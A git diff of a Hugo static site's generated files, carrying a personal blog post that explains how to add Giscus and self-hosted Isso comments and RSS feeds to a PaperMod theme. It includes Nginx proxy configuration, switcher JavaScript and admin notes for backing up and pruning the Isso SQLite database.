- var(--gap) - 10px)/2)var(--gap)}}@media screen and (max-width:900px){.list .top-link{transform:translateY(-5rem)}}@media screen and (max-width:340px){.share-buttons{justify-content:unset}}@media(prefers-reduced-motion){.terms-tags a:active,.button:active,.post-entry:active,.top-link,#searchResults .focus,#searchResults li:active{transform:none}}.comments-switch button{padding:.35rem .6rem;border:1px solid var(--border,#ccc);background:0 0;border-radius:.5rem;cursor:pointer}.comments-switch button[aria-pressed=true]{font-weight:600;outline:none}.post-single .post-header .post-meta,.post-single .post-header .entry-meta,.post-entry .entry-footer,.post-entry .post-meta{display:flex;align-items:center;flex-wrap:wrap;gap:.15rem}.post-single .post-header .post-meta>*,.post-single .post-header .entry-meta>*,.post-entry .entry-footer>*,.post-entry .post-meta>*{display:inline-flex;align-items:center;white-space:nowrap}.post-single .post-header .post-meta>*+*::before,.post-single .post-header .entry-meta>*+*::before,.post-entry .entry-footer>*+*::before,.post-entry .post-meta>*+*::before{content:"·";margin:0 .5rem;opacity:.6}.post-views-bottom{margin:.6rem 0 0;opacity:.75;font-size:.95em}#isso-thread{--bg:#fff;--card:#fff;--text:#1f2937;--muted:#6b7280;--border:rgba(0,0,0,.14);--hover:rgba(0,0,0,.045);--shadow:0 1px 2px rgba(0,0,0,.06), 0 8px 24px rgba(0,0,0,.08);--accent:#2563eb;--accent-weak:#dbeafe;color:var(--text)}html.dark #isso-thread,body.dark #isso-thread,html[data-theme=dark] #isso-thread{--bg:#0b1220;--card:#0f1525;--text:#e5e7eb;--muted:#a1a1aa;--border:rgba(255,255,255,.16);--hover:rgba(255,255,255,.06);--shadow:0 1px 2px rgba(0,0,0,.35), 0 8px 24px rgba(0,0,0,.28);--accent:#60a5fa;--accent-weak:rgba(96,165,250,.15)}#isso-thread a{color:var(--accent)}#isso-thread .isso-postbox,#isso-thread .isso-comment,#isso-thread .isso-preview{background:var(--card);border:1px solid var(--border);border-radius:14px;box-shadow:var(--shadow);padding:1rem}#isso-thread .isso-comment{margin-top:1rem}#isso-thread .isso-postbox>form{display:grid;grid-template-columns:minmax(0,1fr)max-content;column-gap:1rem;align-items:start}#isso-thread .isso-postbox .isso-auth-section,#isso-thread .isso-postbox .auth-section{display:flex;flex-direction:column;gap:.6rem}#isso-thread .isso-postbox textarea,#isso-thread .isso-postbox input[type=text],#isso-thread .isso-postbox input[type=email],#isso-thread .isso-postbox input[type=url],#isso-thread .isso-postbox input[name=author],#isso-thread .isso-postbox input[name=email],#isso-thread .isso-postbox input[name=website]{width:100%;max-width:none;box-sizing:border-box;margin-top:.5rem;background:0 0;color:var(--text);border:1px solid var(--border);border-radius:10px;padding:.75rem .9rem;font:inherit;line-height:1.4;outline:none}#isso-thread .isso-postbox textarea{min-height:140px;resize:vertical}#isso-thread .isso-postbox input:focus,#isso-thread .isso-postbox textarea:focus{border-color:var(--accent);box-shadow:0 0 0 3px color-mix(in srgb,var(--accent) 22%,transparent)}#isso-thread .isso-postbox .isso-post-action,#isso-thread .isso-postbox .post-action{grid-column:2;grid-row:1/-1;display:flex;gap:.6rem;justify-content:flex-end;align-items:center;min-width:max-content;flex-wrap:nowrap}#isso-thread .isso-postbox .isso-post-action>*,#isso-thread .isso-postbox .post-action>*{flex:none;white-space:nowrap}#isso-thread .isso-postbox .isso-post-action input[type=submit],#isso-thread .isso-postbox .post-action input[type=submit],#isso-thread .isso-postbox .isso-post-action input.submit,#isso-thread .isso-postbox .post-action input.submit{background:var(--accent);color:#fff;border:0;padding:.6rem 1rem;border-radius:10px;font-weight:600;line-height:1;cursor:pointer}#isso-thread .isso-postbox .isso-post-action input[name=preview],#isso-thread .isso-postbox .post-action input[name=preview],#isso-thread .isso-postbox .isso-post-action input[type=button],#isso-thread .isso-postbox .post-action input[type=button]{background:0 0;color:var(--accent);border:1px solid var(--accent);padding:.6rem 1rem;border-radius:10px;font-weight:600;line-height:1;cursor:pointer}@media(max-width:700px){#isso-thread .isso-postbox>form{grid-template-columns:1fr}#isso-thread .isso-postbox .isso-post-action,#isso-thread .isso-postbox .post-action{grid-column:1;grid-row:auto;justify-content:flex-end;flex-wrap:wrap;margin-top:.7rem}}#isso-thread .isso-comment .isso-meta{display:flex;gap:.5rem;flex-wrap:wrap;align-items:baseline;color:var(--muted);font-size:.92rem;margin-bottom:.35rem}#isso-thread .isso-comment .isso-author{color:var(--text);font-weight:600}#isso-thread .isso-comment .isso-text,#isso-thread .isso-comment .text{line-height:1.65}#isso-thread .isso-comment .isso-text a,#isso-thread .isso-comment .text a{color:var(--accent);text-decoration:underline}#isso-thread .isso-comment blockquote{margin:.5rem 0;padding:.5rem .75rem;border-left:3px solid var(--accent);background:var(--hover);border-radius:8px}#isso-thread .isso-comment pre{background:var(--hover);border-radius:10px;padding:.6rem .75rem;overflow:auto}#isso-thread .isso-avatar img,#isso-thread .isso-avatar svg,#isso-thread .isso-avatar canvas{width:28px;height:28px;border-radius:999px}#isso-thread .isso-comment .isso-actions,#isso-thread .isso-comment .actions,#isso-thread .isso-comment .footer{display:flex;align-items:center;flex-wrap:wrap;gap:.5rem;margin-top:.5rem}#isso-thread .isso-comment .isso-actions a,#isso-thread .isso-comment .actions a,#isso-thread .isso-comment .footer a,#isso-thread .isso-comment a.reply,#isso-thread .isso-comment a.edit,#isso-thread .isso-comment a.delete,#isso-thread .isso-comment .isso-actions button,#isso-thread .isso-comment .actions button,#isso-thread .isso-comment .footer button,#isso-thread .isso-comment .isso-actions input,#isso-thread .isso-comment .actions input,#isso-thread .isso-comment .footer input{appearance:none;background:0 0;color:var(--accent);border:1px solid var(--accent);border-radius:10px;padding:.35rem .6rem;text-decoration:none;line-height:1;font:inherit;cursor:pointer}#isso-thread .isso-comment .isso-actions a:hover,#isso-thread .isso-comment .actions a:hover,#isso-thread .isso-comment .footer a:hover,#isso-thread .isso-comment .isso-actions button:hover,#isso-thread .isso-comment .actions button:hover,#isso-thread .isso-comment .footer button:hover{background:var(--accent-weak)}#isso-thread .isso-preview{display:none;padding:1rem;border:1px solid var(--border);border-radius:14px;box-shadow:var(--shadow);overflow:hidden}#isso-thread .isso-preview[style*=block],#isso-thread .isso-postbox.is-previewing .isso-preview{display:block}#isso-thread .isso-preview>.isso-comment{background:0 0;border:0;box-shadow:none;padding:0;margin:0}#isso-thread .isso-follow-up{margin-left:2.25rem}@media(max-width:520px){#isso-thread .isso-follow-up{margin-left:1rem}}#isso-thread .isso-delete{margin-left:5px}#isso-thread .isso-permalink{margin-left:5px;margin-right:5px}#isso-thread .isso-note{margin-left:auto;margin-right:5px}#isso-thread .post-meta-item{margin-left:15px}.rss-link{display:inline-flex;align-items:center;gap:.35rem}.rss-link svg{margin-left:10px;width:18px;height:18px}.rss-link span{font-size:.65rem} \ No newline at end of file diff --git a/public-clearnet/categories/blog/index.html b/public-clearnet/categories/blog/index.html new file mode 100644 index 0000000..cf9adbe --- /dev/null +++ b/public-clearnet/categories/blog/index.html @@ -0,0 +1,15 @@ +Blog | AlipourIm journeys +

New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)

Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

October 23, 2025 · 15 min · Iman Alipour +
+
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/categories/blog/index.xml b/public-clearnet/categories/blog/index.xml new file mode 100644 index 0000000..b363ffd --- /dev/null +++ b/public-clearnet/categories/blog/index.xml @@ -0,0 +1,621 @@ +Blog on AlipourIm journeyshttps://blog.alipour.eu/categories/blog/Recent content in Blog on AlipourIm journeysHugo -- 0.146.0enThu, 23 Oct 2025 19:31:12 +0200New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW)https://blog.alipour.eu/posts/comments-rss-papermod/Thu, 23 Oct 2025 19:31:12 +0200https://blog.alipour.eu/posts/comments-rss-papermod/A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. +

Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
+Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

+
+

I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

+
    +
  • I don’t want to get attacked by bots or random people for no reason.
  • +
  • I don’t want to allow weird things to happen.
  • +
  • I don’t want to have a database for it.
  • +
+

So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

+
+

What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

+
+

What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

+
+

Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

+
+

Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

+

With the notice out of the way let’s dive right in!

+
+

Why I chose Giscus (instead of Disqus)

+
    +
  • No ads or trackers (my page weight thanks me).
  • +
  • Uses GitHub Discussions (portable, transparent, easy to search).
  • +
  • Readers log in with GitHub (no mystery auth popups).
  • +
  • In theory you can directly go to the repo’s discussion section and comment there!
  • +
+
+

What you need (for your site, not per user)

+
    +
  • A Hugo site using PaperMod
  • +
  • A GitHub account ✅
  • +
  • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
  • +
  • Giscus app installed on that repo ✅
  • +
+

If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

+
+

1) Turn on comments with Giscus

+

PaperMod renders a comments.html partial when params.comments = true.
+So we enable it in config and create the partial.

+

1.1 Enable comments globally

+

hugo.toml (snippet)

+
[params]
+  comments = true
+

You can still opt out per post with comments = false in front matter.

+

1.2 Create the comments partial

+

Create this file in your site (not inside the theme):

+
layouts/partials/comments.html
+

Paste the Giscus embed (swap the placeholders with yours from giscus.app):

+
<section id="comments" class="giscus">
+  <script
+    src="https://giscus.app/client.js"
+    data-repo="yourname/blog-comments"
+    data-repo-id="YOUR_REPO_ID"
+    data-category="Comments"
+    data-category-id="YOUR_CATEGORY_ID" <!-- Get them from Giscus's page! -->
+    data-mapping="pathname"
+    data-strict="0"
+    data-reactions-enabled="1"
+    data-emit-metadata="0"
+    data-input-position="bottom"
+    data-theme="preferred_color_scheme"
+    data-lang="en"
+    data-loading="lazy"
+    crossorigin="anonymous"
+    async>
+  </script>
+  <noscript>Enable JavaScript to view comments powered by Giscus.</noscript>
+</section>
+

Notes

+
    +
  • You’ll get repo-id and category-id from giscus.app after picking your repo + category.
  • +
  • data-mapping="pathname" works great for static sites.
  • +
  • Prefer a public repo so visitors can read discussions without friction.
  • +
  • Want a different language? Change data-lang (e.g., de, fr).
  • +
+
+

2) Enable RSS (home + sections)

+

Hugo already knows how to generate feeds; we just tell it where.

+

hugo.toml

+
baseURL = "https://example.com/"  # set your production URL
+
+[outputs]
+  home = ["HTML", "RSS", "JSON"]     # JSON is optional (e.g., for on-site search)
+  section = ["HTML", "RSS"]
+  taxonomy = ["HTML", "RSS"]
+  term = ["HTML", "RSS"]
+
+[services.rss]
+  limit = -1   # -1 = no cap; or set e.g. 20
+

Feed URLs

+
    +
  • Home feed: /index.xmlhttps://example.com/index.xml
  • +
  • Section feeds: /posts/index.xml, /notes/index.xml, etc. (folders are lowercase)
  • +
+
+

If you’re using a .onion address or staging domain, just set that in baseURL.
+Locally, Hugo serves feeds at http://localhost:1313/index.xml.

+
+

3) Show an RSS button on the home page

+

PaperMod shows a nice RSS icon on section/taxonomy lists by default (when enabled), but not on the home page. Two options:

+

Option A — Use the home “social icons” row

+

This appears if you enable Home-Info or Profile mode:

+
[params.homeInfoParams]
+  Title = "Hello, internet!"
+  Content = "Notes, experiments, and occasional rabbit holes."
+
+[[params.socialIcons]]
+  name = "rss"        # lowercase matters
+  url  = "/index.xml"
+
+

Create:

+
layouts/partials/extend_footer.html
+

Paste:

+
<a href="/index.xml" rel="alternate" type="application/rss+xml" title="RSS" class="rss-link">
+  {{ partial "svg.html" (dict "name" "rss") }}
+  <span>RSS</span>
+</a>
+

Make it a sensible size:

+

Create:

+
assets/css/extended/rss.css
+

Paste:

+
/* Small & aligned RSS icon in the footer */
+.rss-link { display: inline-flex; align-items: center; gap: .35rem; }
+.rss-link svg { margin-left: 10px; width: 18px; height: 18px; } /* a bit of left margin for good measure!*/
+.rss-link span { font-size: .95rem; }
+

PaperMod auto-bundles anything under assets/css/extended/, so no extra imports needed.

+
+

4) Verify everything

+

Build or run dev:

+
hugo           # outputs to ./public
+# or
+hugo server    # serves at http://localhost:1313
+

Check feeds:

+
# Home feed:
+curl -s http://localhost:1313/index.xml | head
+
+# A section feed (adjust path to your section name):
+curl -s http://localhost:1313/posts/index.xml | head
+

Check comments:

+
    +
  1. Open any post locally.
  2. +
  3. Scroll to the bottom — Giscus should appear.
  4. +
  5. Try a reaction or comment (you’ll be prompted to sign in with GitHub).
  6. +
+
+

5) Per-post controls (handy later)

+

Turn comments off for a single post:

+
# in that post’s front matter
+comments = false
+

Full content in RSS (global):

+
[params]
+  ShowFullTextinRSS = true
+

Show RSS buttons on section/taxonomy lists:

+
[params]
+  ShowRssButtonInSectionTermList = true
+

+

6) Troubleshooting (aka “what I bumped into”)

+
    +
  • +

    Home page has no RSS icon
    +That’s expected; either enable Home-Info/Profile mode + socialIcons, or use the footer partial.

    +
  • +
  • +

    Section feed 404
    +Folder names are lowercase (content/posts/, not content/Posts/).
    +The URL mirrors that: /posts/index.xml.

    +
  • +
  • +

    Giscus doesn’t create a discussion
    +Double-check the four attributes: data-repo, data-repo-id, data-category, data-category-id.
    +Make sure Discussions is enabled and the Giscus app is installed for the repo.

    +
  • +
  • +

    Icon is comically large
    +Keep the CSS above; 16–20px usually looks right.

    +
  • +
+
+

7) Bonus: fast setup via GitHub CLI (optional, I didn’t use it, but I should’ve perhaps)

+
# Create the public comments repo (adjust names)
+gh repo create yourname/blog-comments --public -d "Blog comment threads" --confirm
+
+# Enable Discussions for it
+gh repo edit yourname/blog-comments --enable-discussions
+

Then visit giscus.app, select the repo + category (e.g. “Comments”), and copy the generated IDs into layouts/partials/comments.html.

+
+

Final config snapshot (condensed)

+
baseURL = "https://example.com/"
+theme = "PaperMod"
+
+[outputs]
+  home = ["HTML", "RSS", "JSON"]
+  section = ["HTML", "RSS"]
+  taxonomy = ["HTML", "RSS"]
+  term = ["HTML", "RSS"]
+
+[services.rss]
+  limit = -1
+
+[params]
+  comments = true
+  ShowRssButtonInSectionTermList = true
+  ShowFullTextinRSS = true
+
+# Optional if using Home-Info/Profile mode:
+# [[params.socialIcons]]
+#   name = "rss"
+#   url  = "/index.xml"
+

+

Appendix — Why I added Isso, how I wired it, and what I fixed

+

The story (why Isso + why I still keep Giscus)

+

I wanted comments that:

+
    +
  • allow anonymous replies (no GitHub account required),
  • +
  • are lightweight and self-hosted, and
  • +
  • can work on my Tor .onion mirror.
  • +
+

Isso checks those boxes: it’s a tiny Python app with SQLite storage, no trackers, and a simple embed. At the same time, I like the developer-friendly workflow of Giscus (comments are GitHub Discussions), so I kept both and added a little switcher UI: “Anonymous (Isso)” or “GitHub (Giscus)”.

+

Result: readers can pick privacy/anon (Isso) or identity/notifications (Giscus).

+

How I run it (high-level)

+
    +
  • Site: Hugo + PaperMod
  • +
  • Isso: listening on 127.0.0.1:8080, stored locally (SQLite)
  • +
  • Nginx: reverse-proxies /isso/ to Isso on both the clearnet and the .onion vhost
  • +
  • Hugo partial: renders the two panels (Isso & Giscus) and a switcher; Giscus is lazy-loaded and auto-rethemed with the site theme
  • +
+
+

I’m deliberately keeping Isso’s own config tiny in this appendix; the important part for my setup is the Nginx proxying and the Hugo partial.

+

Hugo partial: switcher + embeds

+

Save as layouts/partials/comments.html and include it in your single layout (e.g. layouts/_default/single.html) with {{ partial "comments.html" . }}.

+
<!-- comments.html -->
+<div class="comments-switch" style="display:flex;gap:.5rem;margin:.5rem 0 1rem;">
+  <button id="btn-isso" type="button" aria-pressed="true">Anonymous (Isso)</button>
+  <button id="btn-giscus" type="button" aria-pressed="false">GitHub (Giscus)</button>
+  <a href="https://github.com/AlipourIm/blog-comments/discussions/categories/comments" target="_blank" rel="noopener">Open on GitHub ↗</a>
+</div>
+
+<!-- Isso panel (default) -->
+<div id="panel-isso">
+  <section id="isso-thread"></section>
+  <script
+    src="/isso/js/embed.min.js"
+    data-isso="/isso"
+    data-isso-css="true"
+    data-isso-lang="en"
+    data-isso-max-comments-nested="5"
+    data-isso-sorting="newest"
+    async>
+  </script>
+  <small class="isso-powered" style="display:block;margin:.5rem 0;color:var(--secondary,#888)">
+    Comments powered by <a href="https://isso-comments.de" target="_blank" rel="noopener">Isso</a>
+  </small>
+</div>
+
+<!-- Giscus panel (lazy-loaded on click) -->
+<div id="panel-giscus" style="display:none">
+  <section id="giscus-thread"></section>
+</div>
+
+<script>
+(function () {
+  const panelIsso = document.getElementById('panel-isso');
+  const panelGisc = document.getElementById('panel-giscus');
+  const issoBtn = document.getElementById('btn-isso');
+  const giscBtn = document.getElementById('btn-giscus');
+  let gLoaded = false;
+
+  function isDark() {
+    // 1) explicit PaperMod preference
+    const pref = localStorage.getItem('pref-theme');
+    if (pref === 'dark')  return true;
+    if (pref === 'light') return false;
+
+    // 2) page state (classes / data-theme)
+    const H = document.documentElement, B = document.body;
+    const hasDark =
+      H.classList.contains('dark') || B.classList.contains('dark') ||
+      H.dataset.theme === 'dark'    || B.dataset.theme === 'dark' ||
+      H.classList.contains('theme-dark') || B.classList.contains('theme-dark');
+    if (hasDark) return true;
+
+    // 3) OS preference
+    return window.matchMedia && window.matchMedia('(prefers-color-scheme: dark)').matches;
+  }
+  const gTheme = () => (isDark() ? 'dark_dimmed' : 'noborder_light');
+
+  function loadGiscus() {
+    if (gLoaded) return;
+    const s = document.createElement('script');
+    s.src = 'https://giscus.app/client.js';
+    s.async = true;
+    s.crossOrigin = 'anonymous';
+    s.setAttribute('data-repo','AlipourIm/blog-comments');
+    s.setAttribute('data-repo-id','R_kgDOQGARyA');
+    s.setAttribute('data-category','Comments');
+    s.setAttribute('data-category-id','DIC_kwDOQGARyM4Cw3x-');
+    s.setAttribute('data-mapping','pathname');
+    s.setAttribute('data-strict','0');
+    s.setAttribute('data-reactions-enabled','1');
+    s.setAttribute('data-emit-metadata','0');
+    s.setAttribute('data-input-position','bottom');
+    s.setAttribute('data-lang','en');
+    s.setAttribute('data-theme', gTheme());  // initial theme
+    document.getElementById('giscus-thread').appendChild(s);
+
+    // Retheme once iframe exists
+    const reTheme = () => {
+      const iframe = document.querySelector('iframe.giscus-frame');
+      if (!iframe) return;
+      iframe.contentWindow?.postMessage(
+        { giscus: { setConfig: { theme: gTheme() } } },
+        'https://giscus.app'
+      );
+    };
+
+    // PaperMod toggle button
+    document.getElementById('theme-toggle')?.addEventListener('click', () =>
+      setTimeout(reTheme, 0)
+    );
+
+    // Also react to attribute changes
+    const mo = new MutationObserver(reTheme);
+    mo.observe(document.documentElement, { attributes: true, attributeFilter: ['class','data-theme'] });
+    mo.observe(document.body,             { attributes: true, attributeFilter: ['class','data-theme'] });
+
+    gLoaded = true;
+  }
+
+  function show(which) {
+    const showIsso = which === 'isso';
+    panelIsso.style.display = showIsso ? 'block' : 'none';
+    panelGisc.style.display = showIsso ? 'none'  : 'block';
+    issoBtn?.setAttribute('aria-pressed', showIsso);
+    giscBtn?.setAttribute('aria-pressed', !showIsso);
+    if (!showIsso) loadGiscus();
+  }
+
+  issoBtn?.addEventListener('click', e => { e.preventDefault(); show('isso'); });
+  giscBtn?.addEventListener('click', e => { e.preventDefault(); show('giscus'); });
+
+  // default
+  show('isso');
+})();
+</script>
+

Nginx: proxy Isso on both sites (and avoid the 404-onion trap)

+

The bug I hit: my .onion server had a regex static block that won over the plain /isso/ location, so /isso/js/embed.min.js returned 404.

+

Fix: make /isso/ a ^~ prefix location so it beats regex, and place it above the static block.

+
# /etc/nginx/sites-enabled/onion-blog  (same idea for the clearnet vhost)
+server {
+    listen 127.0.0.1:3301 default_server;
+    server_name fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion 127.0.0.1 localhost;
+
+    add_header Referrer-Policy no-referrer always;
+    add_header X-Content-Type-Options nosniff always;
+    add_header X-Frame-Options SAMEORIGIN always;
+
+    root /srv/hugo/mysite/public-onion;
+    index index.html;
+
+    location / { try_files $uri $uri/ /index.html; }
+
+    # /isso -> /isso/
+    location = /isso { return 301 /isso/; }
+
+    # IMPORTANT: this must beat regex locations below
+    location ^~ /isso/ {
+        proxy_pass http://127.0.0.1:8080/;    # Isso container/port
+        proxy_http_version 1.1;
+        proxy_set_header Host $host;
+        proxy_set_header X-Forwarded-Host $host;
+        proxy_set_header X-Forwarded-Proto $scheme;
+        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
+        proxy_redirect off;
+        proxy_read_timeout 60s;
+    }
+
+    # static
+    location ~* \\.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
+        access_log off;
+        add_header Cache-Control "public, max-age=31536000, immutable";
+        try_files $uri =404;
+    }
+}
+

Reload and smoke test:

+
sudo nginx -t && sudo systemctl reload nginx
+curl -I http://<your-onion-host>/isso/js/embed.min.js   # expect 200
+
+

If you ever point data-isso to a different origin, add CORS headers on that vhost. For same-origin (data-isso="/isso"), you don’t need CORS.

+

Small CSS tweaks (one color across light/dark + spacing)

+

I wanted the same blue for reply / edit / delete links and for Submit / Preview buttons, in both themes, and a little spacing:

+
/* put this in your site CSS */
+:root { --btn-blue: #2563eb; } /* adjust to taste */
+
+/* Isso form buttons */
+.isso-post-action input[type="submit"],
+.isso-post-action input[name="preview"] {
+  background: var(--btn-blue) !important;
+  color: #fff !important;
+  border: none;
+  padding: .5rem .75rem;
+  border-radius: .4rem;
+  cursor: pointer;
+}
+
+/* link actions under comments */
+.isso-comment-footer a {
+  color: var(--btn-blue) !important;
+  margin-right: .5rem;       /* gives "edit" and "delete" some breathing room */
+  text-decoration: none;
+}
+.isso-comment-footer a:hover { text-decoration: underline; }
+
+/* keep name/email/website stacked, slightly larger */
+.isso-auth-section .isso-input-wrapper {
+  display: block;
+  margin: .35rem 0;
+}
+.isso-auth-section label { font-size: .95rem; }
+.isso-auth-section input[type="text"],
+.isso-auth-section input[type="email"],
+.isso-auth-section input[type="url"] {
+  width: 100%;
+  font-size: 1rem;
+  padding: .5rem .6rem;
+}
+

What changed (the fixes I actually made)

+
    +
  1. +

    Theme correctness for Giscus.
    +PaperMod doesn’t add .light—it only toggles .dark and stores pref-theme. I now:

    +
      +
    • read localStorage.pref-theme first,
    • +
    • fall back to class/data-theme, then
    • +
    • fall back to OS preference.
      +I also re-theme the Giscus iframe on every toggle via postMessage.
    • +
    +
  2. +
  3. +

    Isso over Tor.
    +On the .onion vhost, I moved the proxy to a ^~ /isso/ block so it beats the static regex. That fixed the 404 on /isso/js/embed.min.js.

    +
  4. +
  5. +

    UI polish.

    +
      +
    • Unified button/link color across themes,
    • +
    • ensured “edit”/“delete” aren’t touching,
    • +
    • kept the author/email/website inputs stacked, and
    • +
    • left Submit/Preview styled and grouped.
    • +
    +
  6. +
+

Sanity check

+
    +
  • Toggle the theme: Giscus switches between noborder_light and dark_dimmed without reload.
  • +
  • Open DevTools → Network on onion: /isso/js/embed.min.js loads with 200.
  • +
  • Switcher buttons swap panels instantly; Giscus only loads when clicked.
  • +
+

8) Final notes!

+

I could not fully fix the style of Isso. +CSS is not easy… drat!

+

I don’t think anyone actually reads the blog, let alone comment on it. +But it felt cool to have a comment section and also RSS for it. +I had a lot of not so fun debugging experience, and will probably work on the styling to make it look right, but for now I’m happy with it! ^^

+

Admin note — Delete all Isso comments for a single post

+

This note is for future me: how to remove every comment tied to one post in Isso.
+Tested with SQLite-backed Isso (default). Works whether you serve via clearnet or .onion — because this operates directly on the database.

+
+

TL;DR (host with SQLite)

+
+

Replace the placeholders for DB and POST_URI first.

+
# 0) Variables — edit these two lines for your setup
+DB="/var/lib/isso/comments.db"          # path to your Isso SQLite DB (check isso.conf: [general] dbpath)
+POST_URI="/posts/skin_routine/"         # the post's URI as stored by Isso (often just the path)
+
+# 1) Backup (always do this!)
+sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+
+# 2) Inspect: find the thread row and preview the comments
+sqlite3 "$DB" "
+.headers on
+.mode column
+SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
+SELECT id, tid, created, author, text
+FROM comments
+WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%')
+ORDER BY created DESC
+LIMIT 25;
+"
+
+# 3) Delete all comments for that post (thread)
+sqlite3 "$DB" "
+DELETE FROM comments
+WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');
+"
+
+# 4) (Optional) Remove the now-empty thread row too
+sqlite3 "$DB" "
+DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';
+VACUUM;
+"
+
+# 5) Done. Isso usually picks this up automatically.
+#    If you're containerized and want to be safe:
+# docker restart <isso_container_name>
+

+

If running Isso in Docker

+

Open a shell in the container, then run the same steps:

+
docker exec -it <isso_container_name> /bin/sh
+
+# Inside the container:
+DB="/db/comments.db"    # or /data/comments.db, check your image/volume mapping
+POST_URI="/posts/skin_routine/"
+
+sqlite3 "$DB" ".backup '/db/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+sqlite3 "$DB" "SELECT id, uri FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%';"
+sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
+sqlite3 "$DB" "DELETE FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
+exit
+
+# Optionally restart the container:
+docker restart <isso_container_name>
+

+

Notes & gotchas

+
    +
  • Find the real DB path: In isso.conf (often /etc/isso/isso.conf or within your container at /config/isso.conf), look for: +
    [general]
    +dbpath = /var/lib/isso/comments.db
    +
  • +
  • What goes in POST_URI? Isso stores a uri string per thread. With the default embed config, it’s usually the path (/posts/<slug>/). If you’re unsure, list recent threads: +
    sqlite3 "$DB" ".headers on" ".mode column" "SELECT id, uri FROM threads ORDER BY id DESC LIMIT 50;"
    +
  • +
  • Clearnet vs .onion: If you load the same post under multiple origins and your embed setup stores full origins, you may have multiple thread rows. The LIKE query above deliberately matches any uri containing your POST_URI to catch those.
  • +
  • Rollback: To undo, stop Isso (optional), replace the DB with your backup (comments.YYYY-MM-DD-HHMMSS.backup.sqlite3), and start Isso again.
  • +
  • HTTP API option: Isso supports DELETE /<comment_id> if admin endpoints/auth are enabled. For bulk removal it’s simpler and safer to use SQLite directly.
  • +
  • Safety: Always run a backup first, and preview with the SELECT before you run the DELETE.
  • +
+
+

One-liners for the impatient

+
DB="/var/lib/isso/comments.db"; POST_URI="/posts/skin_routine/"
+sqlite3 "$DB" ".backup '$(dirname "$DB")/comments.$(date +%F-%H%M%S).backup.sqlite3'"
+sqlite3 "$DB" "DELETE FROM comments WHERE tid IN (SELECT id FROM threads WHERE uri LIKE '%' || '$POST_URI' || '%');"
+sqlite3 "$DB" "DELETE FROM threads  WHERE uri LIKE '%' || '$POST_URI' || '%'; VACUUM;"
+

+

Isso container: quick checks & fixes for future me! (thank past me later ^^)

+

Find the container

+
docker ps -a --format 'table {{.ID}}	{{.Names}}	{{.Status}}	{{.Ports}}' | grep -i isso
+

Inspect basic state

+
docker inspect -f 'Name={{.Name}}  Running={{.State.Running}}  Status={{.State.Status}}  StartedAt={{.State.StartedAt}}  FinishedAt={{.State.FinishedAt}}' isso
+

Logs

+
docker logs --tail=200 isso
+docker logs -f isso
+

Ports & reachability

+
docker port isso
+sudo ss -ltnp | grep ':8080 '
+curl -i http://127.0.0.1:8080/
+

Restart policy (keep it running)

+
docker inspect -f '{{.HostConfig.RestartPolicy.Name}}' isso
+docker update --restart unless-stopped isso
+

Start/stop the container

+
docker start isso
+docker stop isso
+

Who/what stopped it (events)

+
docker events --since 24h --filter container=isso
+

Common config issue: duplicate options/sections +If logs show DuplicateOptionError or DuplicateSectionError, fix /config/isso.cfg (remove duplicate [server] blocks or duplicate public-endpoint).

+
nl -ba /config/isso.cfg | sed -n '1,120p'
+grep -n '^\[server\]' /config/isso.cfg
+grep -n '^public-endpoint' /config/isso.cfg
+

Using Docker Compose (run these in the directory with your compose file)

+
docker compose ps
+docker compose logs --tail=200 isso
+docker compose up -d isso
+

If the container doesn’t exist (create/recreate)

+
docker image ls | grep -i isso
+
+docker run -d   --name isso   -p 8080:8080   -v /srv/isso/config:/config   -v /srv/isso/db:/db   --restart unless-stopped   ghcr.io/posativ/isso:latest
+

Optional: exclude from auto-updaters (like Watchtower)

+
docker update --label-add com.centurylinklabs.watchtower.enable=false isso
+

This note is intentionally self-contained so I can paste it at the end of the blog post as a maintainer-only appendix.

+
+
+

Downloads: + Markdown · + Signature (.asc) +

+ View OpenPGP signature +
-----BEGIN PGP SIGNATURE-----
+
